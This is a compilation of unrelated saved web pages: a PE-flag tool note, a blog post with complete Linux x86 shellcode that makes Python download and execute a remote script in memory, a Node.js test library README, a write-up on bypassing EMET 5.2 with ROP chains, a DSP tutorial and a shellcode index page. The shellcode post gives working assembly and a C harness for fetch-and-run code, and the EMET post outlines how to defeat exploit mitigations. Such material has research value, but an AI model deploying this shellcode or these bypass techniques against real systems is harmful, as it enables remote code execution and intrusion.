    setdllcharacteristics +nd program.exe
    
[/code]

Don’t forget that by changing these flags on signed executables, the signature
is not valid anymore. But that shouldn’t be a problem to run the program.

Later, I’ll post tools to force DEP \(and maybe ASLR\) without changing the PE
file.

And I also updated the PE-file format template for the 010 editor to support
these 3 flags.

Download:

setdllcharacteristics\_v0\_0\_0\_1.zip \(https\)

MD5: F96358BF90AA4D8C6B32968B2068BFCB

SHA256: 5A9D3815F317C7C0FF7737F271CE0C60BE2CB0F4168C5EA5AD8CEF84AD718577

* * *
**Possibly related posts: \(automatically generated\)**

  * Grunge Flag Wallpaper Set 6

Leave a Comment

# I hack, therefore I am: Linux/x86 Execve Python Interpreter with a Python
Program Passed in as String Shellcode

**Created:**| _5/20/2012 4:34:02 PM_  
---|---  
**Updated:**| _5/20/2012 4:34:02 PM_  
**Author:**| __  
**Tags:**| _shellcode python_  
  

## Thursday, May 17, 2012

###  Linux/x86 Execve Python Interpreter with a Python Program Passed in as
String Shellcode

About a month ago, Phrack magazine \#68 was released and a linux x86 shellcode
\(bindshell-tcp-fork.s\) that I wrote a few years ago got mentioned in one of
the articles.  
This made me feel nostalgic and I have decided to pack all the shellcodes that
I have written over the years into a tarball \(linux\_x86\_shellcodes.tar.gz\)
and re-publish it.  
The feedback I got was great, and it inspired me to go and write a new
shellcode. So, I did.  
I have written a new linux x86 execve\(\) shellcode that executes the Python
interpreter with a Python program passed in as string.  
  
Why calling Python and not /bin/sh you ask? Because Python script makes it
easier to customize and/or automate a penetration testing \(especially post
exploitation\).  
Python is a cross-platform programming language with a decent standard
library, and is known to run on almost any operating system or hardware
platform.  
A Python script can query the OS, CPU, HOSTNAME, and even IP address, and
based on this information to call different functions and/or use different
parameters.  
Shell script, as good as it may be, is still dependent on various binaries to
be installed beforehand to be able to run successfully. Also, shell scripts
are not cross-platform.  
  
Let's have a look on how it works. Here's the shellcode source code:

[code]

    .section .text
    .global _start
    _start:
            push  $0xb
            pop   %eax
            cdq
            push  %edx
            push  $0x20292763
            push  $0x65786527
            push  $0x2c273e67
            push  $0x6e697274
            push  $0x733c272c
            push  $0x29286461
            push  $0x65722e29
            push  $0x2779702e
            push  $0x646c726f
            push  $0x776f6c6c
            push  $0x65682f32
            push  $0x34323834
            push  $0x3639322f
            push  $0x752f6d6f
            push  $0x632e786f
            push  $0x62706f72
            push  $0x642e6c64
            push  $0x2f2f3a70
            push  $0x74746827
            push  $0x286e6570
            push  $0x6f6c7275
            push  $0x2e326269
            push  $0x6c6c7275
            push  $0x28656c69
            push  $0x706d6f63
            push  $0x20636578
            push  $0x653b3262
            push  $0x696c6c72
            push  $0x75207472
            push  $0x6f706d69
            mov   %esp, %esi
            push  %edx
            pushw $0x632d
            mov   %esp, %ecx
            push  %edx
            push  $0x6e6f6874
            push  $0x79702f6e
            push  $0x69622f72
            push  $0x73752f2f
            mov   %esp,%ebx
            push  %edx
            push  %esi
            push  %ecx
            push  %ebx
            mov   %esp,%ecx
            int   $0x80
    
[/code]

What the shellcode does is call execve\(\) syscall with '/usr/bin/python' as
the filename argument, and '-c' and a one-line Python program as the argv
array argument.  
There's no need for a cleanup code, as execve\(\) does not return on success,
and the text, data, bss, and stack of the calling process are overwritten by
that of the program loaded.  
  
Here is the Python one-line program source code:

[code]

    import urllib2 ; exec compile(urllib2.urlopen('http://ikotler.org/helloworld.py').read(), '<string>', 'exec')
[/code]

What the Python program does is import the urllib2 library and use it to
retrieve a Python script from a remote Web server, and then compiles and
executes it on the fly.  
More to it, The retrieved Python script remains in memory the whole time. The
Python program does all of the above without writing any data to the hard
drive.  
  
Here is the retrieved Python script \(i.e. helloworld.py\) source code:

[code]

    print "Hello, world"
[/code]

Depending on the nature of the retrieved Python script, it might be enough to
just use eval\(\) instead of exec and compile\(\) combination in the one-line
Python program.  
In this case, print is a statement in Python 2.x and as such it can not be
evaluated using eval\(\). in Python 3, print\(\) is a function and can be
evaluated using eval\(\).  
If in doubt, always use the exec and compile\(\) combination.  
  
To compile the shellcode source and test it:

[code]

    $ as -o python-execve-urllib2-exec.o python-execve-urllib2-exec.s
    $ ld -o python-execve-urllib2-exec python-execve-urllib2-exec.o
    $ ./python-execve-urllib2-exec
    
[/code]

The output should be:

[code]

    Hello, world
[/code]

Here is the shellcode represented as a hex string within a C program:

[code]

    char shellcode[] =
    
            "\x6a\x0b"              // push  $0xb
            "\x58"                  // pop   %eax
            "\x99"                  // cdq
            "\x52"                  // push  %edx
            "\x68\x63\x27\x29\x20"  // push  $0x20292763
            "\x68\x27\x65\x78\x65"  // push  $0x65786527
            "\x68\x67\x3e\x27\x2c"  // push  $0x2c273e67
            "\x68\x74\x72\x69\x6e"  // push  $0x6e697274
            "\x68\x2c\x27\x3c\x73"  // push  $0x733c272c
            "\x68\x61\x64\x28\x29"  // push  $0x29286461
            "\x68\x29\x2e\x72\x65"  // push  $0x65722e29
            "\x68\x2e\x70\x79\x27"  // push  $0x2779702e
            "\x68\x6f\x72\x6c\x64"  // push  $0x646c726f
            "\x68\x6c\x6c\x6f\x77"  // push  $0x776f6c6c
            "\x68\x32\x2f\x68\x65"  // push  $0x65682f32
            "\x68\x34\x38\x32\x34"  // push  $0x34323834
            "\x68\x2f\x32\x39\x36"  // push  $0x3639322f
            "\x68\x6f\x6d\x2f\x75"  // push  $0x752f6d6f
            "\x68\x6f\x78\x2e\x63"  // push  $0x632e786f
            "\x68\x72\x6f\x70\x62"  // push  $0x62706f72
            "\x68\x64\x6c\x2e\x64"  // push  $0x642e6c64
            "\x68\x70\x3a\x2f\x2f"  // push  $0x2f2f3a70
            "\x68\x27\x68\x74\x74"  // push  $0x74746827
            "\x68\x70\x65\x6e\x28"  // push  $0x286e6570
            "\x68\x75\x72\x6c\x6f"  // push  $0x6f6c7275
            "\x68\x69\x62\x32\x2e"  // push  $0x696c6c72
            "\x68\x75\x72\x6c\x6c"  // push  $0x6c6c7275
            "\x68\x69\x6c\x65\x28"  // push  $0x28656c69
            "\x68\x63\x6f\x6d\x70"  // push  $0x706d6f63
            "\x68\x78\x65\x63\x20"  // push  $0x20636578
            "\x68\x62\x32\x3b\x65"  // push  $0x653b3262
            "\x68\x72\x6c\x6c\x69"  // push  $0x696c6c72
            "\x68\x72\x74\x20\x75"  // push  $0x75207472
            "\x68\x69\x6d\x70\x6f"  // push  $0x6f706d69
            "\x89\xe6"              // mov   %esp,%esi
            "\x52"                  // push  %edx
            "\x66\x68\x2d\x63"      // pushw $0x632d
            "\x89\xe1"              // mov   %esp,%ecx
            "\x52"                  // push  %edx
            "\x68\x74\x68\x6f\x6e"  // push  $0x6e6f6874
            "\x68\x6e\x2f\x70\x79"  // push  $0x79702f6e
            "\x68\x72\x2f\x62\x69"  // push  $0x69622f72
            "\x68\x2f\x2f\x75\x73"  // push  $0x73752f2f
            "\x89\xe3"              // mov   %esp,%ebx
            "\x52"                  // push  %edx
            "\x56"                  // push  %esi
            "\x51"                  // push  %ecx
            "\x53"                  // push  %ebx
            "\x89\xe1"              // mov   %esp, %ecx
            "\xcd\x80";             // int   $0x80
    
    int main(int argc, char **argv) {
            int *ret;
            ret = (int *)&ret + 2;
            (*ret) = (int) shellcode;
    }
    
[/code]

Again, to run and test it is as easy as:

[code]

    $ gcc -o python-execve-urllib2-exec python-execve-urllib2-exec.c
    $ ./python-execve-urllib2-exec 
    
[/code]

The output should be the same:

[code]

    Hello, world
[/code]

Now, I have also decided to open a GitHub repository to host the collection of
shellcodes that I have written in the past, as well as any that I may write in
the future.  
I have committed both .S, and .C versions of this shellcode to it, as well as
the rest of the shellcodes from the tarball.  
  
The repository can be found at: https://github.com/ikotler/shellcode  
  
Feel free to fork, and if you wish, to submit a pull-request and fix bug or
suggest a change.

# masylum/testosterone - GitHub

**Created:**| _1/3/2012 4:38:40 PM_  
---|---  
**Updated:**| _1/3/2012 4:38:40 PM_  
**Author:**| __  
**Tags:**| _web software testing http_  
  

e.md

# ✿ Testosterone

Virile testing for http servers or any nodejs application.

## Installation

`npm install testosterone`

## WhateverDrivenDevelopment

Testosterone allows you to follow BDD or TDD on any of your projects using the
same testing library.

<img src='img/Temp2_10446.png' />

## Options

  * `host`: Host to do the http calls. _localhost_
  * `port`: Port to do the http calls. _80_
  * `output`: Configure the amount of verbosity you want for your tests 
    * `specs`: Print the specs _true_
    * `ticks`: Print the ✓ and ✗ ticks _true_
    * `summary`: Prints the summary _true_
    * `title`: Prints the title _true_
  * `title`: Test title, it will be printed out. _Testosterone_
  * `sync`: If set to `true`, you don't need to call `done` to specify when your tests are done. _false_

## API

_testosterone_ API is simple and flexible.

  * `get|post|head|put|delete...(url, req, response, cb)`: Does a http call with the given request. If a response is given, testosterone will assert that the real response matches.
  * `add(spec, function(done))`: Adds a test. The test is considered executed when `done` function is called.
  * `before(function)`: Runs before each test.
  * `after(function)`: Runs after each test.
  * `run([cb])`: Runs the tests in serial. `cb` will be called once all the tests are executed.
  * `assert`: You **must** use this assert object instead of the native one.

All the functions are chainable.

## Show me the code

You have more examples on the `test` folder:

### HTTP testing example:

[code]

    var testosterone = require('testosterone')({port: 3000})
      , assert = testosterone.assert;
    
    testosterone
      .get('/', function (res) {
        assert.equal(res.statusCode, 200)
      })
    
      .get('/hi', function (res) {
        assert.equal(res.statusCode, 500);
        assert.equal(res.body, 'use post instead');
      })
    
      .post('/hi', {data: {message: 'hola'}}, {
        status: 200
      , body: 'hola'
      });
    
    // Output
    
    $ node test.js
    
    ✿ Testosterone : ✓ ✓ ✓ ✓ ✓
    » 3 responses, 5 asserts
    
[/code]

### Asynchronous example:

[code]

    var testosterone = require('testosterone')({post: 3000, title: 'Testing async'})
      , assert = testosterone.assert;
    
    testosterone
    
      .before(function () {
        console.log('test about to run!');
      })
    
      // using done to tell testosterone when the test is done
      .add('First test', function (done) {
        setTimeout(function () {
          assert.ok(true);
          done();
        }, 999);
      })
    
      // same but currying
      .add('Second test', function (spec) {
        assert.ok(true);
    
        setTimeout(done(function () {
          assert.ok(true);
        }), 10);
      })
    
      .run(function () {
        require('sys').print('All tests passed!');
      });
    
    // Output
    
    $ node test.js
    
    ✿ Testing async :
    
    First test => ✓
    Second test => ✓ ✓
    
    » 0 responses, 3 asserts
    
[/code]

### Example with gently stubbing and `sync: true`:

[code]

    var testosterone = require('testosterone')({post: 3000, title: 'Testing with stubs', sync: true})
      , gently = new (require('gently'))
      , fs = require('fs')
      , assert = testosterone.assert;
    
    testosterone
      .add('GIVEN foo.txt \nWHEN its empty \nTHEN it return null', function (spec) {
        gently.expect(fs, 'readFile', function (path, encoding, cb) {
          assert.equal(path, 'foo.txt');
          cb(null, null);
        });
    
        fs.readFile('foo.txt', 'utf-8', function (er, data) {
          assert.equal(er, null);
          assert.equal(data, null);
        });
      })
    
      .add('GIVEN foo.txt \nWHEN it have content \nTHEN it return that content', function (spec) {
        gently.expect(fs, 'readFile', function (path, encoding, cb) {
          assert.equal(path, 'foo.txt');
          cb(null, 'foo');
        });
    
        fs.readFile('foo.txt', 'utf-8', function (er, data) {
          assert.equal(er, null);
          assert.equal(data, 'foo');
        });
      })
    
      .run(function () {
        require('sys').print('done!');
      });
    
    // Output
    
    $ node test.js
    
    ✿ Testing with stubs :
    
    GIVEN foo.txt
    WHEN its empty
    THEN it return null => ✓ ✓ ✓
    
    GIVEN foo.txt
    WHEN it have content
    THEN it return that content => ✓ ✓ ✓
    
    » 6 asserts
    
[/code]

## Test

In order to run the tests type:

[code]

    npm install
    make test_app
    make
    
[/code]

## Credits

The _\_call_ function of this library is a shameless copy from expresso
response assert done by TJ Holowaychuk \(visionmedia\)

# Scrutiny from an Inquisitive mind: March 2015

**Created:**| _3/21/2015 6:56:00 PM_  
---|---  
**Updated:**| _3/21/2015 6:56:00 PM_  
**Author:**| __  
**Tags:**| __  
  
  

## Sunday, 15 March 2015

###  Defeating EMET 5.2

Since my last post, i thought if Malware Bytes Anti Exploit can be bypassed in
a targetted attack why not work on bypassing EMET using rop chains. But truth
be told EMET has tons of good protections which render a lot of methods
useless and this form of bypass was only because of my lack of focus/ability
to find a combined loophole in all current epxloit mitigations.  
Idea is, **If an exploit author gets to study a system before making his move
he/she can defeat the protections.** Reading up on articles which claim to
bypass EMET before, i came to conclusion that most of the bypasses revolve
around the nature of current exploit.  
If its a flash exploit people can use the already existing bromium suggested
stack switching mechanism to thwart stack pivot mitigation. Then do something
else to bypass other checks.  
If its a flash exploit people can use a public sample to jump into a call
VirtualProtect ... retn gadget to thwart caller checks of EMET. Then do
something to bypass other checks.  
These checks can be bypassed individually but combined, they are a force to be
reckoned with.  
Although we have seen exploits like 2014-0515 being used to bypass earlier
versions of EMET, these exploits come but once in time.  
  
TLDR: EMET 5.2 can be bypassed with ease by jumping past its hooks using
simple ROP  
19th March 2015 Addition: I've bypassed EMET's protections with generic ROP
too, no need to specifically target now. However i am not releasing the POC.  
  
Only effective bypass up until now for EMET was the one which offensive
security guys did.  
offsec EMET 5.1  
  
While ryujin did some serious roppery, he studied the system. Got the offsets
and fucked EMET to its core. I was trying the same approach before, but since
the arrival of EMET 5.2 it was only a matter of time before someone reverse
engineered EMET's internal structures and found out a bypass. My time was both
limited and valuable, So i jumped right into it. Upon watching ollydbg's
memory mapping, i saw TONS of page guards in memory.  
Something told me this approach would only end in sophistication.  
and i changed my approach thus manually began browsing EMET's hook handler.  
While what i did cannot be constituted as a disarm, frankly even i dont know
what to call it. As long as it gets my exploit in EMET running without any
consequences i am good. :\)  
  
WinExec routine  
<img src='img/Screen+Shot+2015-03-15+at+6.15.23+PM.png' width='640'
height='131' />  
  
Hook handler for WinExec  
<img src='img/Screen+Shot+2015-03-15+at+6.15.34+PM.png' width='640'
height='188' />  
  
  
Notice the handler routine and 0x26 bytes after that?  
Yep thats WinExec's replaced bytes.  
jumping to  
<img src='img/Screen+Shot+2015-03-15+at+6.16.05+PM.png' width='640'
height='298' />  
  
I found this was generic in my windows 8.1 x64, 7 x64. Frankly speaking i
didn't check this in 32bit OS versions, Since EMET didn't work on my xp sp3
VM.  
Neither did i study how EMET is doing its trampoline. The point is, we can hop
these hooks with ease. Not at all difficult.  
  
Although i figured the idea, it was not easy to develop a POC from scratch,
when I am not a regular developer. I just scrutinize, borrow code chunks and
get my way.  
  
So i took offensive security's last EMET 5.1 bypass POC and ran it on a base
Windows 7 x64 VM.  
It didn't work because it was built for a different mshtml.dll version than
the base which windows 7 comes with. I removed their rop chains and included
my own which would work for base windows 7.  
Exploit used is CVE-2012-1876 developed by sickness.  
  
Rop chains as follows  
<img src='img/Screen+Shot+2015-03-15+at+6.37.19+PM.png' width='590'
height='640' />  

####  **Chain of command**

1\. we find GetModuleHandleW from IAT of mshtml.dll  
2\. use it to find base address of ntdll  
3\. add 0x1ffd8 offset for ZwProtectVirtualMemory \*  
4\. inc register by 1 containing address of ZwProtectVirtualMemory  
5\. get DWORD at ZwProtectVirtualMemory + 1 in a different register  
6\. add these two registers. \(we arrive at hook handler\)  
7\. add 10 twice and increase this address 6 times by 1  
8\. jump to that while keeping stack proper aligned for its params and return
address pointing to nopsled  
  
\*  
First things first, i used ZwProtectVirtualMemory because if we try this on
VirtualProtect, Its possible we will get burned when it calls ntdll's syscalls
while doing a reverse stack walking. Since i didnt had time to check this
theory out, i chose for the fastest option and fought for
ZwProtectVirtualMemory which is last call from usermode to kernelmode. Since
kernel32.VirtualProtect is simply a trampoline to kernelbase.VirtualProtect
and msthml doesn't have pointers for kernelbase.dll i couldn't follow that
lineup. I chose ntdll.  
Result, It Works\!  
  
Now onto a bigger question, Why static offset for ZwProtectVirtualMemory when
it will change across different OS versions.  
1\. you can craft this specific offset \(not rop\) for different targets for
x86 and 64 by querying window.navigator.cpuClass from javascript. it should be
undefined for win32 and x86 for win64  
2\. ZwProtectVirtualMemory is not present in IAT, so i had to get syscall's
address somehow.  
3\. If i use GetProcAddress, HW breakpoint at ntdll will get triggered and for
some unknown reason IE stops responding. No logs in EMET. This should work
perfectly but wasn't running.  
  
Although there are innumerable methods for replacing this hardcoded static
offset and achieving reliable exploitation for all different flavours of
windows running EMET 5.2. I dont think i have to give one such method in a POC
so as to prevent giving out an already weaponized exploit, moreover this
exploit is very specific to mshtml version as most exploits with memory leaks
do.  
In essence, as long as we have a reliable rop chain. We can defeat EMET using
common gadgets.  
  
  
Now onto the last part, we have made our shellcode RWX, only thing is changing
the shellcode to make it work.  
<img src='img/Screen+Shot+2015-03-15+at+7.04.01+PM.png' width='640'
height='580' />  
When i used Ryujin's shellcode for bind shell, it was stopped by stackpivot. I
realized, since i simply skipped the hooks, i have to restore stack.  
so i went ahead and did this  
\_\_asm  
\{  
mov esp,fs:\[0\]  
sub esp,0x1000  
\}  
We also have to bypass EAF because shellcode will trigger that if it contains
locating Exports from PEB.  
so i used my previous EAF bypass Mechanism \[here\]  
  
putting this stackpivot and EAF bypass together, i executed ryujin's shellcode  
  
  
But it didn't work again due to caller checks.  
Apparently the shellcode was from metasploit and a normal API call in
metasploit goes through a handler which will resolve addresses and call the
function.  
So the api call was like this  
\_\_asm  
\{  
push 0  
push "calc\0"  
push hash\_rol\_0xd\_WinExec  
call ebp  
\}  
and ebp contains the address of a handler which will resolve the api address
from hash and jump to it while setting up stack perfectly  
jupm gadget in this handler is  
\_\_asm  
\{  
jmp eax  
\}  
Now get hold of this, when hook from EMET reads the return address backwards
it encounters call ebp. Which is a valid api call according to the caller
check.  
But it also checks if ebp contains the address from where this hook was placed
upon. Since ebp contains metasploit api resolution handler, and eax contains
WinExec address. Caller check will fail.  
So i had to craft my own shellcode which would return api address in a
register rather than call api by hash.  
And it worked.  
  
<img src='img/Screen+Shot+2015-03-15+at+7.11.46+PM.png' width='640'
height='332' />  

####  **POC**

EMET 5.2 bypass POC  
  

####  **Conclusion**

EMET fights tough, more than any public exploit mitigation solution out there.
A lot tougher than MBAE and enterprise exploit detection products.

But if we get to study the system, its only a matter of time.  
Addition: On March 19th 2015, i managed to bypass EMET's protections using
GENERIC rop. So even if emet exists or not in the system the exploit works
fully. However due to its more negative use than positive, i am not releasing
the code. Icing on the top, this bypasses all of the enterprise exploit
mitigation toolkits i've got my hands on.

  

# Tutorial: Enhance Your Signal Processing Toolbox with Complex Notation

**Created:**| _6/26/2012 9:29:17 AM_  
---|---  
**Updated:**| _6/26/2012 9:29:17 AM_  
**Author:**| __  
**Tags:**| _DSP Gnuradio_  
  

Tutorial: Enhance Your Signal Processing Toolbox with Complex Notation  
By Barry L. Dorr, P.E., Embedded.com  
Oct 4 2005 \(9:07 AM\)  
URL:  http://www.embedded.com/showArticle.jhtml?articleID=171201170

As the speed of DSP's and digital hardware keeps increasing, software and
digital hardware are replacing traditional analog hardware, making today's
gizmos and gadgets smarter, more reliable, less expensive, and more power
efficient than ever before. As an embedded systems engineer, you may have
found yourself doing more signal processing than you originally bargained
for\! This article about complex notation is a survival guide to some of the
most important basics of signal processing.

Begin reading nearly any article on signal processing and you will quickly
encounter complex notation. Signals that could be easily represented as sines
or cosines become  

<img src='img/Temp2_8553.jpg' width='192' height='52' />

and we’re often reminded that j is the square root of -1. It gets worse - a
simple sinusoid actually contains both positive and negative frequencies, but
frequently “only positive frequencies are used.” We also see modulated signals
referred to as "complex envelopes." At first glance this notation seems like
an unnecessary complication rather than an aid, and has caused many a good
engineer to walk away from valuable signal processing information.

Most signal processing textbooks provide an excellent review of complex
notation, but these descriptions are sometimes more general and involved than
the working engineer wants. This article presents the basics of complex
numbers as used in signal processing, and will provide you with the tools for
using them. Through the examples used in this article you will gain a clear
understanding of AC circuit analysis using _**phasors**_ and also get
introduced to some of the key components of a QPSK receiver.

**The Basics of Complex Numbers**  
Figure 1 shows a complex number. The “real” part of the number, **Re\(C\)** ,
is represented by the horizontal component and the “imaginary” part of the
number, **Im\(C\)** , is represented by the vertical component. The complex
number appears immediately useful because, like a sine wave, it has both a
magnitude and an angle. If we change the sign of the imaginary part we obtain
the _complex conjugate_ of the number, and we designate the complex conjugate
with the overbar symbol:  

<img src='img/Temp2_8572.jpg' width='425' height='374' />

The complex number can be represented various ways:  

<img src='img/Temp2_8552.jpg' width='425' height='227' />  

Note that the rectangular forms of equations 1 and 2 allow convenient addition
and subtraction of complex numbers. The polar form of equation 3 allows
convenient multiplication and division.

If phi is a phase angle which increases linearly with time then the complex
number in Figure 1 rotates in a counter-clockwise circle. Letting the
magnitude of the complex number be unity, equation 2 becomes:  

<img src='img/Temp2_8569.jpg' width='425' height='54' />  

and it’s evident that the real part of this expression is a simple cosine
wave. Furthermore, equations 1 through 4 can be easily manipulated to yield
other useful forms:  

<img src='img/Temp2_8554.jpg' width='425' height='220' />  

Several things are readily apparent from equations 5 through 8. First they are
related: equation 7 is the result of adding equations 5 and 6, and equation 8
is the result of subtracting equation 6 from equation 5. Equations 5 and 6 can
also be viewed as two counter-rotating vectors in which the complex parts
always cancel thereby accounting for the real result. Equation 6 can be viewed
as two counter-rotating vectors where the real parts cancel. Equations 1
through 8 can also be used to derive useful identities such as:  

<img src='img/Temp2_8575.jpg' width='425' height='131' />  

But the most significant observation is that if we wish to take advantage of
complex exponentials, we must either use the abstraction of complex numbers
\(equations 5 and 6\) _**or**_ the abstraction of negative frequencies
\(equations 7 and 8\).

**Linear filtering and phasors**  
The problem of determining the steady state response of a linear network to a
sinusoidal input is an excellent application of complex notation. However,
working the problem once will show that steady-state analysis can be done
virtually by inspection using the _phasor_ technique. This section will
reinforce what we’ve covered so far by showing why the phasor technique works.

Digital and analog filters can be described by complex frequency domain
transfer functions. For example the lowpass RC filter shown in Figure 2 has
the transfer function:  

<img src='img/Temp2_8560.jpg' width='425' height='99' />  

<img src='img/Temp2_8574.jpg' width='425' height='231' />  

A property of this filter is that its transfer function has conjugate odd
symmetry, as expressed in the following:

<img src='img/Temp2_8562.jpg' width='425' height='35' />  

Equations 7 and 8 show that the sinusoidal excitation also have odd symmetry.
We will use the superposition property of linear networks to determine the
output of the filter. Stated mathematically:  

<img src='img/Temp2_8565.jpg' width='425' height='43' />  

In other words, the output due to the sum of two input signals is equal to the
sum of the outputs due to the individual inputs. A quick glance at equations 5
through 8 suggests that this property should come in handy.

The input to the network is the cosine from equation 7. Using superposition,
the output signal is simply the sum of the outputs due to the two components
in equation 7.

<img src='img/Temp2_8568.jpg' width='425' height='364' />

Because of the conjugate symmetry of both the input signal and the transfer
function, the operations in equations 13 through 18 are identical for any
network. As a result, to find the response of a network due to a sine wave,
you simply need to know the magnitude and phase response of the network at the
desired frequency. In circuit analysis complex numbers are represented using
shorthand called _**phasor notation**_ as shown below.

<img src='img/Temp2_8563.jpg' width='425' height='45' />

Setting the angular frequency to 1/RC, the steady state problem above is
solved quickly using phasors as follows:  

<img src='img/Temp2_8558.jpg' width='425' height='78' />

**Narrowband signals And complex notation**  
In signal processing we frequently work with _narrowband_ signals as shown in
Figure 3, below. A narrowband signal has its energy concentrated around a
frequency usually near the center of the signal's bandwidth called the
_carrier_. Channelized signals can usually be treated as narrowband signals.
Complex notation allows us to focus only on the bandwidth containing the
signal rather than the bandwidth containing both the signal and the carrier.
It also suggests hardware and software structures that aid processing of
lowpass signals.  

<img src='img/Temp2_8579.jpg' width='425' height='172' />

To illustrate, consider the signal processing used for QPSK data transmission
shown in Figure 4, below.

<img src='img/Temp2_8564.jpg' width='425' height='142' />

QPSK, or _Quadrature Phase Shift Keying_ is a data transmission technique
where groups of two bits of data are encoded into one of four phase shifts of
a sinusoidal carrier. The phase shift is held for the _symbol time_ , and then
it is updated based on the next pair of bits in the input bit stream. Since
the symbol rate is usually much lower than the carrier frequency, the result
is a narrowband signal.

It is natural to use complex notation to represent the two bits comprising
each symbol. The index k is used to indicate that the signal represents a pair
of bits in a serial bit stream. Signals sjk and sqk are the kth in phase and
quadrature signal components that take values of 1, and s k denotes the
complex signal sjk \+ j sqk. The complex baseband signal could also be
represented as  

<img src='img/Temp2_8576.jpg' width='425' height='62' />

Mapping these signals on the complex plane results in the _constellation_
shown in Figure 5, below.  

<img src='img/Temp2_8566.jpg' width='250' height='307' />

The two multipliers at the left of Figure 4 _up-convert_ the complex baseband
signal to the carrier frequency. This is shown graphically in Figure 6 where
multiplication shifts the complex baseband spectrum is shifted to the right,
and taking the real part adds the negative frequency component.

<img src='img/Temp2_8577.jpg' width='425' height='256' />

Equations 22 to 25 below describe the operation of the up-converter. The
output is the real modulated signal m\(t\). \(This expression for m\(t\) is
valid for the kth only. Refer to the sources below for an accurate description
of a modulated data signal\).  

<img src='img/Temp2_8578.jpg' width='425' height='145' />  

At the receiver the signal encounters a bandpass filter used for rejecting
out-of-band signals. The bandpass filter response is not symmetric about the
carrier frequency and it distorts the signal slightly.

The two multipliers and lowpass filters after the bandpass filter are used to
down convert the signal to its lowpass representation. We'll elaborate on the
down converter since it is a commonly encountered signal processing operation.
One way to explain the operation of the down converter is to begin with the
signal as described by equation 25, multiply the sines and cosines and note
that the lowpass filter removes the double frequency terms resulting from the
multiplications. But instead of using sines and cosines, we'll use our
newfound skills with complex notation.

For the top arm we have:  

<img src='img/Temp2_8567.jpg' width='425' height='56' />  

The identities in equations 9 and 10 and the Euler identities allow us to
write this as:

<img src='img/Temp2_8573.jpg' width='425' height='188' />  

The low pass filter removes the double frequency term on the right.
Multiplying by two yields the final result:

<img src='img/Temp2_8559.jpg' width='425' height='117' />

The I and Q branches at the output of the down-converter are lowpass signals
and can be sampled at a much lower rate than the modulated signal, which
reduces both power consumption and hardware cost. Figure 4 shows the I and Q
branches combined into a single heavy line indicating that the signal is
complex. A clear advantage of complex notation is that the frequency and phase
differences between the transmit and receive oscillators are maintained by
equations 31 and 32.

The next step for the QPSK receiver to recover the transmitted data bits si
and sq is to correct for the frequency offset and phase offset between
transmitter and receiver. The process of removing these offsets is called
_carrier_ recovery, and the receiver has the means to detect them and
internally generate the signal

<img src='img/Temp2_8570.jpg' width='425' height='55' />  

The process of applying the correction is often referred to as _de-rotation_
because the frequency offset causes the baseband phasor to rotate at the
difference frequency. However this is simply complex multiplication as shown
by equation 33 and implemented in Figure 7. Though the structure appears
formidable, it can be done in just a few lines of DSP code.

<img src='img/Temp2_8557.jpg' width='425' height='54' />  

<img src='img/Temp2_8556.jpg' width='425' height='309' />

The final step for recovering the transmitted data bits is to remove the
distorting effects of the bandpass filter at the receiver input. The modem has
the means for identifying the distortion based on statistical characteristics
of the distorted input or corrected output. This process is called _adaptive
equalization_ , and the result of the equalization process is the complex
filter shown in Figure 4 at the right of the de-rotator. \(The
oversimplification is for the sake of clarity. In this example, the output
from the carrier recovery would have a slight phase error because its input
has been distorted by the bandpass filter. Modern demodulators frequently
perform carrier recovery and equalization jointly.\)

Before describing the complex filter, observe the signal spectrum shown in
Figure 8, below. The operation of the down converter can be viewed as shifting
the positive portion of the spectrum left and discarding the negative
frequency term. The de-rotator further shifts the signal so that the overall
shift precisely matches the frequency \(and phase\) of the up-converter.
However the shifted signal is not symmetrical about DC. The i and q signals
from the de-rotator are real signals. But when viewed as i + j\*q, the result
is complex and the asymmetrical spectrum is perfectly acceptable.  

<img src='img/Temp2_8571.jpg' width='425' height='188' />

Equalization of the asymmetrical signal spectrum requires an asymmetrical
filter for the equalizer. To see how this works note that when a signal is
passed through a linear filter, the resulting signal spectrum is equal to the
spectrum of the input signal multiplied by the frequency response of the
filter. If both the spectrum and the filter are complex we have:

<img src='img/Temp2_8561.jpg' width='425' height='58' />

Figure 9 below shows an implementation of the complex equalizer. The i and q
signals from the equalizer precisely match those at the transmitter.  

<img src='img/Temp2_8555.jpg' width='425' height='216' />

**Another tool in the DSP toolbox\!**  
As engineers, we strive to avoid unnecessary complexity, and abstractions such
as imaginary numbers and negative frequencies sometimes fall into this
category and end up on the chopping block. In reality, complex notation is a
valuable tool for any engineer working with signal processing because:

**\(1\)** Working with exponentials is much less tedious than working with
sines and cosines.  
**\(2\)** Signal processing articles and technical papers use complex notation
extensively.  
**\(3\)** Complex notation suggests hardware and software structures for
implementing signal processing functions.

The intent of this article has been to provide a set of tools for
understanding and working with complex notation. Most signal processing
textbooks \(see references below\) include a chapter or section dedicated to
narrowband signals. These are excellent references, and most include much of
the mathematical rigor not included here. The information in this article
should allow you to breeze through the basics and get the most out of that
next signal processing article.

**References**  
\[1\] J. Proakis, _Digital Communications_ , McGraw Hill, 1983, Chapter 3  
\[2\] H. Meyr, M. Moeneclaey, A. Fechtel, _Digital Communication Receiver_ s,
Wiley Interscience, 1998. Chapter 1.  
\[3\] M. Schwartz, W. Bennett, S. Stein, _Communication Systems and
Techniques_ , McGraw Hill, 1966, Chapter 1.

_Barry Dorr is the owner/president of Dorr Engineering Services, Inc., which
specializes in signal processing, modem development, and embedded servos. He
can be reached at bdorr@dorrengineering.com_

# Shellcode « Didier Stevens

**Created:**| _2/14/2010 9:52:27 PM_  
---|---  
**Updated:**| _2/14/2010 9:52:34 PM_  
**Author:**| __  
**Tags:**| _shellcode bookmark Exploit_  
  

###  
Shellcode

This section gives an overview of my shellcode. Most shellcode is completely
coded by hand by me \(I use the free nasm assembler\), but some shellcode has
also been generated with the help of a C-compiler. I worked out a method to
generate WIN32 shellcode with a C-compiler. By using special constructs in C
and avoiding incompatible constructs, the C-compiler will emit position-
independent code for the C functions designed to be converted to shellcode.
The shellcode is extracted from the compiled EXE-file when the program is run.

Not only is it easier and faster to code shellcode with C in stead of assembly
language; this method makes it also possible to debug shellcode with Visual
C++2008 Express’ integrated debugger. I’m currently writing a tutorial for
this method.

The shellcodes presented here do not use hardcoded WIN32 API function
addresses, they use the PEB method to dynamically lookup the addresses \(code
published in The Shellcoder’s Handbook, you can find it in the include file
sc-api-functions.asm\).

Note that shellcodes available for download here are not restricted in the
byte-values they may use. Most of them will contain 0×00-bytes. If this is an
issue, I’ll provide you with a couple of decoders I developed to exclude
specific byte-values.

